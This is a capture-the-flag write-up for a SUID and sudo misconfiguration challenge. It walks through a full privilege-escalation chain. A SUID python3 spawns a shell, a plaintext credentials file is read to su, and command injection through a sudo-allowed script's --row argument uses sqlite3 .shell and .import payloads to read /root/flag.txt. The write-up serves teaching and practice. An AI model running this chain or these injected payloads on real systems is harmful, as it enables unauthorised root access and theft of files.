Space University of Interior Design
SUID and Sudo misconfigurations

Description

Storytelling is the root of interior design.
nc 20.198.209.142 55022
The flag is in the flag format: STC{...}
Author: zeyu2001

Solution

We start off as a guest user, and need to escalate our privileges to get the flag.
1
$ id
2
uid=1001(guest) gid=1001(guest) groups=1001(guest)
Copied!
Let's find all files with SUID permissions.
1
$ find / -perm /4000
2
/bin/umount
3
/bin/ping
4
/bin/mount
5
/bin/su
6
/usr/bin/newgrp
7
/usr/bin/chfn
8
/usr/bin/chsh
9
/usr/bin/gpasswd
10
/usr/bin/passwd
11
/usr/bin/python3.7
12
/usr/bin/sudo
Copied!
We find that Python has SUID permissions. Refer to https://gtfobins.github.io/gtfobins/python/.
This allows us to gain the privileges of the file owner.
Use the following command, and observe that our EUID has changed to that of jared.
1
$ python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
2
$ id
3
uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest)
Copied!
Without having the true UID set to that of jared, we cannot sudo. But while we were previously unable to view jared's files, we can now view them.
1
$ ls -la jared
2
total 900
3
drwx------ 1 jared jared 4096 Jul 8 18:48 .
4
drwxr-xr-x 1 jared jared 4096 Jul 8 18:39 ..
5
-rwx------ 1 jared jared 220 Apr 18 2019 .bash_logout
6
-rwx------ 1 jared jared 3526 Apr 18 2019 .bashrc
7
-rwx------ 1 jared jared 807 Apr 18 2019 .profile
8
-rwx------ 1 jared jared 884736 Nov 29 2015 chinook.db
9
-rwx------ 1 jared jared 117 Jul 8 18:38 creds.txt
10
-rwx------ 1 jared jared 668 Jul 8 17:58 query_db.py
Copied!
There is an interesting file in jared's directory.
1
$ cat jared/creds.txt
2
In case I forget my credentials.
3
​
4
jared:iamrich
5
​
6
Thanks to my awesome sysadmin, no one else can see this file!
Copied!
We found jared's credentials. Now, we can su to gain full permissions. Observe that the true UID is now that of jared.
1
$ id
2
uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest)
3
​
4
$ su jared
5
iamrich
6
​
7
$ id
8
uid=1000(jared) gid=1000(jared) groups=1000(jared),27(sudo)
Copied!
If we check our sudo privileges, we find that we can execute query_db.py with elevated privileges.
1
$ sudo -l
2
Matching Defaults entries for jared on fa9f84013480:
3
env_reset, mail_badpass,
4
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5
​
6
User jared may run the following commands on fa9f84013480:
7
(ALL) NOPASSWD: /home/jared/query_db.py
Copied!
This Python file queries the chinook.db database, and allows a --row argument.
1
#!/usr/bin/python3
2
import os
3
import tempfile
4
import argparse
5
​
6
​
7
def query_db(row):
8
9
if not row:
10
row = 'FirstName'
11
​
12
sql = f".open /home/jared/chinook.db\nSELECT {row} FROM employees;"
13
os.system(f'echo "{sql}" | /usr/bin/sqlite3')
14
​
15
print("Done!")
16
​
17
if __name__ == '__main__':
18
parser = argparse.ArgumentParser()
19
parser.add_argument("--row", help="Row to query")
20
args = parser.parse_args()
21
​
22
query_db(args.row)
Copied!
If we refer to https://gtfobins.github.io/gtfobins/sqlite3/, we can find some payloads to help us. Here are two working payloads to get the flag.

Payload 1

sqlite3 has the .shell command, which allows you to run system commands.
1
.shell CMD ARGS... Run CMD ARGS... in a system shell
Copied!
We can use this to run cat /root/flag.txt.
1
$ sudo ./query_db.py --row "FirstName FROM employees;\n.shell cat /root/flag.txt;\nSELECT FirstName"
2
Andrew
3
Nancy
4
Jane
5
Margaret
6
Steve
7
Michael
8
Robert
9
Laura
10
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}Andrew
11
Nancy
12
Jane
13
Margaret
14
Steve
15
Michael
16
Robert
17
Laura
18
Done!
Copied!

Payload 2

We can alternatively use .import to import data from a file into a table.
1
$ sudo ./query_db.py --row "FirstName FROM employees;\n.open\nCREATE TABLE a(line TEXT);\n.import /root/flag.txt a\nSELECT * FROM a;\nSELECT FirstName"
2
Andrew
3
Nancy
4
Jane
5
Margaret
6
Steve
7
Michael
8
Robert
9
Laura
10
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}
11
Done!
Copied!
Both are equally valid! The flag is STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}.
Last modified 4mo ago